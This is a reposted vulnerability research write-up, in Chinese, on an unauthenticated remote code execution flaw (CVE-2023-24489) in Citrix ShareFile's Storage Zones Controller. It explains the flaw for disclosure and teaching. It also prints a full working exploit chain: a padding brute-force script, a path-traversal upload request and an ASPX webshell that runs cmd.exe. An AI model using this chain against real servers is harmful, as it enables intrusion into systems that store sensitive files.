加密并不意味着经过身份验证:ShareFile RCE(CVE-2023-24489)

admin 2024年7月19日09:20:10评论22 views字数 11781阅读39分16秒阅读模式

1、概述

作为Assetnote安全研究的一部分,我们注意到的一件事是,某些类型的软件比其他类型的更富有成效。文件上传和远程访问软件就是最好的例子。在这篇文章中,我们看到的是前者,一个名为ShareFile的文件共享应用程序。在线搜索显示,大约有1000-6000个实例可以通过互联网访问。这种流行,再加上用于存储敏感数据的软件,意味着如果我们发现了什么,它可能会产生相当大的影响。

ShareFile是基于云的文件共享和协作应用程序。然而,它为用户提供了通过所谓的“存储区域连接器”将文件存储在自己的数据中心的选项。提供此功能的软件是一个在IIS下运行的.NET web应用程序,称为“存储区域控制器”(有时也称为Storage Center),这就是我们决定的目标。

通过我们的研究,我们能够利用一个看似无害的加密漏洞,实现未经验证的任意文件上传和完整的远程代码执行。Citrix已发布安全更新,并将此问题分配给CVE-2023-24489。

2、内容

在安装了Storage Zones Controller之后,迎接我们的是.NET web技术的混合。有多个.aspx文件、一些IIS子应用程序和一些MVC端点。我们从.aspx文件开始枚举,因为没有额外的工作来确定如何访问它们。缩小搜索范围的一个快速方法是列出webroot中以.aspx结尾的所有路径,并将此列表复制到枚举工具中。任何返回200的请求都是一个很好的起点。

$ find . | grep -e '.*.aspx$'./sp/upload.aspx./sp/upload-streaming-2.aspx./documentum/upload.aspx./documentum/upload-streaming-2.aspx./upload-threaded-1.aspx./ConfigService/SMTPConfig.aspx./ConfigService/Login.aspx./ConfigService/Admin.aspx./ConfigService/Networking.aspx./ConfigService/PreFlightCheck.aspx./ConfigService/ImportConfigSettings.aspx./ConfigService/UpdatePassphrase.aspx./thumbnail.aspx./upload-resumable-2.aspx./upload-streaming-1.aspx./WopiServer/HeartBeat.aspx./upload-resumable-3.aspx./cifs/upload.aspx./cifs/upload-streaming-2.aspx./heartbeat.aspx./AdvancedStatus.aspx./upload-singlechunk.aspx./upload.aspx./ProxyService/rest/storagecenter.aspx./upload-resumable-1.aspx./upload-streaming-2.aspx./upload-threaded-3.aspx./upload-threaded-2.aspx./rest/queue.aspx

/documentum/upload.aspx页面引起了我们的注意。文件名意味着它用于上传文件,请求返回200。使/documentum/upload.aspx成为分析的绝佳候选者。我们使用dnSpy反编译了该页面的支持类DocumentumConnector.Uploaders.Upload,并开始查看源代码。

我们查看了源代码,发现该页面立即通过调用Auth.SetCurrentPrinicalFromSessionCookie从cookie设置当前主体。我们对此进行了研究,发现如果没有会话cookie,应用程序就会继续。所以,这不是真正的身份验证检查,也不是我们需要担心的事情。

public static void SetCurrentPrinicalFromSessionCookie(){    HttpCookie httpCookie = HttpContext.Current.Request.Cookies["DocumentumConnector_AuthId"];    if (httpCookie != null)    {        string value = httpCookie.Value;        if (!string.IsNullOrEmpty(value) && HttpContext.Current.Cache[value] != null)        {            IPrincipal principal = (IPrincipal)HttpContext.Current.Cache[value];            HttpContext.Current.User = principal;            Thread.CurrentPrincipal = principal;        }    }}

下一个安全检查是对parentid查询参数进行解密的检查。这是通过调用FileUtility.GetDecryptedFolderPathById来完成的。如果解密失败,则此方法的返回值为空字符串。这将导致返回错误并停止页面执行。

...NameValueCollection keys = UploadLogic.GetKeys(HttpContext.Current);text = keys["uploadid"];text2 = keys["parentid"] ?? "";if (text2.IsNullOrEmpty()){    string text4 = string.Format("upload.aspx: ID='{0}' Missing parameters.", text2);    LogManager.WriteLog(LogLevel.Normal, LogMessageType.Error, text4);    ApiHelper.WriteError(text4);    base.Response.End();}if (string.IsNullOrEmpty(text)){    text = Guid.NewGuid().ToString("n");}Upload.targetPath = FileUtility.GetDecryptedFolderPathById(text2);if (Upload.targetPath.IsNullOrEmpty()){    string text5 = string.Format("Upload.aspx: Could not resolve the target path from parent id", Array.Empty<object>());    LogManager.WriteLog(LogLevel.Normal, LogMessageType.Error, text5);    ApiHelper.WriteError(text5);}...

我们稍后将返回此方法,因为它是唯一能阻止在该页面上传琐碎匿名文件的方法。

简单路径遍历

最终,页面调用ProcessRawPostedFile,参数filename、uploadId和parentid来自查询参数。解密的parentid参数也通过Upload.targetPath成员变量存在。

private int ProcessRawPostedFile(string filename, string uploadId, Hashtable files, Hashtable fileHashes, string parentid, List<ItemUpload> itemsUploaded){    filename = Utils.SanitizeFilename(filename);    string text = string.Concat(new string[]    {        DocumentumConnector.Util.OnPremise.ReadFromConfigFile("TempDir").TrimEnd(new char[] { '/' }),        Path.DirectorySeparatorChar.ToString(),        "ul-",        uploadId,        Path.DirectorySeparatorChar.ToString()    });    if (!Directory.Exists(text))    {        Directory.CreateDirectory(text);    }    string text2 = text + filename;    string text3 = Upload.targetPath + filename;    LogManager.WriteLog1(LogLevel.Normal, LogMessageType.Information, string.Format("upload.aspx.cs ProcessRawPostedFile(): using new code={0}, Request.TotalBytes={1}", !DocumentumConnector.Uploaders.Configuration.DisableFlashUploadImprovements, base.Request.TotalBytes));    int totalBytes = base.Request.TotalBytes;    byte[] array = new byte[totalBytes];    Stream inputStream = base.Request.InputStream;    inputStream.Read(array, 0, totalBytes);    inputStream.Close();    FileStream fileStream = new FileStream(text2, FileMode.Create, FileAccess.ReadWrite);    fileStream.Write(array, 0, totalBytes);    fileStream.Close();    string text4 = null;

我们注意到文件名被清除了,但uploadId没有。这意味着当这两个值连接在一起时,路径遍历是可能的。我们还看到解密后的值Upload.targetPath与filename连接在一起,但结果从未使用过。类似地,parentid查询参数也会被传入,但也不会被使用。

string text3 = Upload.targetPath + filename;

在这个阶段,我们已经拥有了上传一个webshell所需的一切。但是,我们需要为parentid提供一个加密的值。否则,页面执行将始终在上传处理之前停止。我们找了硬编码的钥匙,但运气不好。因此,我们决定深入研究GetDecryptedFolderPathById的实现。我们很高兴我们发现了一个小错误,这意味着整个检查都可以绕过。

加密!=身份验证

加密本身不提供身份验证,也不保护消息不被篡改。加密只是一种数据转换。它获取一个字节流,并将它们转换为不同的字节流。如果使用了不正确的密钥,或者传入流“不正确”,则消息将被转换而不会出现问题。然而,无论是谁在阅读这条信息,都不会意识到它有任何意义。它将看起来是一个随机的字节流。

既然我们唯一的要求是结果不是空字符串,那么为什么检查会失败呢?对无效值进行解密应产生随机字节,该字节绝对不是空字符串。我们可以通过查看应用程序使用的加密类型来了解原因。

string text = string.Empty;try{    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, OnPremise._salt);    symmetricAlgorithm = Encryption.Wrapper.CreateAESObject();    symmetricAlgorithm.Key = rfc2898DeriveBytes.GetBytes(symmetricAlgorithm.KeySize / 8);    symmetricAlgorithm.IV = rfc2898DeriveBytes.GetBytes(symmetricAlgorithm.BlockSize / 8);    ICryptoTransform cryptoTransform = symmetricAlgorithm.CreateDecryptor(symmetricAlgorithm.Key, symmetricAlgorithm.IV);    using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(encryptedKey)))    {        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, 0))        {            using (StreamReader streamReader = new StreamReader(cryptoStream))            {                text = streamReader.ReadToEnd();            }        }    }}catch (Exception ex){    LogManager.WriteLog(LogLevel.High, LogMessageType.Error, string.Format("ERROR:: DecryptKeyAES: Input[{0}] Output[{1}].", encryptedKey, text));    LogManager.WriteLog(LogLevel.High, LogMessageType.Error, string.Format("Exception: n{0} n{1}", ex.Message, ex.StackTrace));}return text;

应用程序正在使用AES,如果引发异常,则不会设置返回值文本。如果未设置文本,我们的空字符串检查将始终失败。

分组密码和填充

为了理解AES可能抛出异常的原因,我们必须理解分组密码。AES使用具有128位(16字节)的固定块大小的块密码。这意味着AES只能对16字节块中的数据进行加密和解密。如果所有消息都是16字节的倍数,这是可以的,但对于其他消息则不可以。为了解决这个问题,在消息中添加了额外的数据,以确保它们的长度是16的倍数。这些额外的数据被称为“填充”。

对于.NET中的AES,默认填充模式是一个名为PKCS#7的方案。在这个方案中,添加的每个字节的值就是添加的字节总数。例如,给定以下9字节的消息。

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16FF FF FF FF FF FF FF FF FF

为了达到16个字节,添加了7个字节的填充,每个字节的值为0x07。

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16FF FF FF FF FF FF FF FF FF 07 07 07 07 07 07 07

在.NET中,填充是自动处理的,它是在消息加密和解密时添加的。这对开发人员来说非常棒,因为这意味着他们不需要担心填充。但是,在解密消息时,如果填充不符合方案,则会引发异常。这就是为什么我们的空字符串检查失败,应用程序抛出填充异常,导致返回值始终为空字符串。

我们现在知道了如何绕过检查。我们不需要找到完全正确的加密消息,只需要找到一个具有有效填充的消息。这要容易得多。具有有效填充的最简单消息是最后一个块有一个字节的填充。例如:

?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01

由于每个字节的值都是随机的,并且我们只关心最后一个字节,因此平均而言,每256个随机生成的消息中就有1个将使用有效填充进行解密。我们可以强行这样做,但有一种更简单的方法可以利用块密码的另一个怪癖。

密码块链接

块密码本身的一个限制是相同的块将加密到相同的值。这是一个问题,因为它导致明文中存在的模式也存在于密文中。如果输出中存在模式,则很有可能会破坏加密。

为了克服这个问题,块密码使用引入随机化的“操作模式”来防止相同的块被加密到相同的值。.NET中的默认操作模式称为密码块链接(CBC)。

在CBC模式中,每个块都与先前加密的块“链接”在一起。这就是为什么AES有时需要初始化矢量(IV)的原因。IV是用于第一个块的值。在AES CBC模式中,通过将块的每个字节与前一块中的相应字节进行异或来进行链接。

下面的片段显示了加密是如何使用此方案的。

tempBlockZero = XorBlocks(plaintextBlocks[0], IV)ciphertextBlocks[0] = EncryptBlock(tempBlockZero)
for n in range(1, numberOfBlocks):    tempBlock = XorBlocks(plaintextBlocks[n], ciphertextBlocks[n-1])    ciphertextBlocks[n] = EncryptBlock(tempBlock)

解密是相同的过程,但操作相反。

tempBlockZero = DecryptBlock(ciphertextBlocks[0])plaintextBlocks[0] = XorBlocks(tempBlockZero, IV)
for n in range(1, numberOfBlocks):    tempBlock = DecryptBlock(ciphertextBlocks[n])    plaintextBlocks[n] = XorBlocks(tempBlock, ciphertextBlocks[n-1])

对于我们的攻击,我们将需要至少两个块,因为我们无法控制IV。我们正在寻找满足以下条件的消息。

    -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- XX ciphertext (block 0)XOR -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ?? temp block (block 1 decrypted)  = -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 01 our goal

我们不知道temp block的值是多少,但我们知道它不会改变。我们完全控制XX,并且由于XOR的工作方式,我们所需要做的就是迭代所有可能的值,直到我们找到一个当用temp块进行XORD时给出我们目标值的值。

由于有256个可能的值,因此我们平均需要尝试其中的一半。我们现在只需要发出约128个请求,并保证在256个请求之后正确猜测。

要查找具有有效填充的消息,我们将使用两个块。我们将改变第一个块的最后一个字节,其他所有内容保持不变。其他值是什么并不重要,只要它们保持不变。

如果我们得到错误“Invalid request method-get”,这意味着我们通过了解密部分并进行了下一次检查,以确保请求方法是POST。这对我们来说已经足够好了,因为我们只想在此阶段找到parentid的值。

for i in range(0, 256):    payload = [        # block 0        b'x41', b'x41', b'x41', b'x41',        b'x41', b'x41', b'x41', b'x41',        b'x41', b'x41', b'x41', b'x41',        b'x41', b'x41', b'x41', i.to_bytes(1, byteorder='little'),
        # block 1        b'x41', b'x41', b'x41', b'x41',        b'x41', b'x41', b'x41', b'x41',        b'x41', b'x41', b'x41', b'x41',        b'x41', b'x41', b'x41', b'x41'    ]    payload = b''.join(payload)    payload = base64.b64encode(payload)    payload = urllib.parse.quote(payload, safe='')
    url = 'http://{}/documentum/upload.aspx?parentid={}&uploadid=x'.format(TARGET, payload)    r = requests.get(url, verify=False)    if r.status_code == 200:        if 'Invalid request method - GET' in r.text:            print('Valid padding:   {}'.format(payload))            sys.exit(0)        else:            print('Invalid padding: {}'.format(payload))

我们可以在下面看到它的输出。

$ python3 padder.pyInvalid padding: QUFBQUFBQUFBQUFBQUFBAEFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBAUFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBAkFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBA0FBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBBEFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBBUFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBBkFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBB0FBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBCEFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBCUFBQUFBQUFBQUFBQUFBQUE%3D...Invalid padding: QUFBQUFBQUFBQUFBQUFBgUFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBgkFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBg0FBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBhEFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBhUFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBhkFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBh0FBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBiEFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBiUFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBikFBQUFBQUFBQUFBQUFBQUE%3DValid padding:   QUFBQUFBQUFBQUFBQUFBi0FBQUFBQUFBQUFBQUFBQUE%3D

经过多次尝试,我们发现parentid的值没有引发填充异常。我们将其与路径遍历相结合,将.aspx文件上载到webroot中的可写目录。最后的要求如下。

POST /documentum/upload.aspx?parentid=QUFBQUFBQUFBQUFBQUFBi0FBQUFBQUFBQUFBQUFBQUE%3D&raw=1&unzip=on&uploadid=x......cifs&filename=x.aspx HTTP/1.1Host: example.comContent-Length: 720
<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){    Response.Write("<pre>");    Response.Write(Server.HtmlEncode(ExcuteCmd()));    Response.Write("</pre>");}string ExcuteCmd(){    ProcessStartInfo psi = new ProcessStartInfo();    psi.FileName = "cmd.exe";    psi.Arguments = "/c whoami";    psi.RedirectStandardOutput = true;    psi.UseShellExecute = false;    Process p = Process.Start(psi);    StreamReader stmrdr = p.StandardOutput;    string s = stmrdr.ReadToEnd();    stmrdr.Close();    return s;}</script>

最后,我们请求上传的文件以查看我们努力工作的结果。

GET /cifs/x.aspx HTTP/1.1Host: example.com
HTTP/1.1 200 OKCache-Control: private,no-storeContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/8.5Access-Control-Max-Age: 540Strict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockX-Frame-Options: DENYDate: Tue, 04 Jul 2023 04:32:24 GMTContent-Length: 41
<pre>nt authoritynetwork service</pre>

3、我们学到了什么?

使用密码时要小心。容易犯细微的错误。我们审查的许多.NET代码都会犯同样的错误,但应用程序通常不易受到攻击,因为程序其余部分的编写方式很奇怪。

在这里,我们看到了一个可能被称为填充oracle攻击的实例。然而,我们不需要利用oracle来解密或加密任何东西,因此技术上比这简单。

我们可以猜出为什么这个错误如此普遍。CBC模式和PKCS#7填充是.NET中AES加密的默认值。此外,在线示例通常不会突出这些默认值的问题。在撰写本文时,“.NET AES encryption”的前五个搜索结果都使用了这些值,没有提到潜在的漏洞。

对于安全研究人员来说,请注意CBC模式加密。由于CBC是默认的,因此不难找到。查看在提供无效填充和有效填充时它的行为。它会导致错误吗?错误是否不同?处理时间是更长还是更短?所有这些都可能导致潜在的填充oracle攻击。

4、结论

在这篇文章中,我们看到了ShareFile中的一些小错误如何导致未经验证的文件上传,然后导致远程代码执行。尽管并非在所有配置中都启用了特定端点,但它在我们测试的主机中很常见。考虑到在线实例的数量和漏洞的可靠性,我们已经看到了该漏洞的巨大影响。要了解您是否受到影响,请查看Citrix的安全更新,其中包含哪些版本易受攻击以及如何升级的详细信息。

Citrix访问链接:https://support.citrix.com/article/CTX559517/sharefile-storagezones-controller-security-update-for-cve202324489原文链接:https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce

原文始发于微信公众号(sahx安全从业记):加密并不意味着经过身份验证:ShareFile RCE(CVE-2023-24489)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月19日09:20:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   加密并不意味着经过身份验证:ShareFile RCE(CVE-2023-24489)https://cn-sec.com/archives/1928339.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息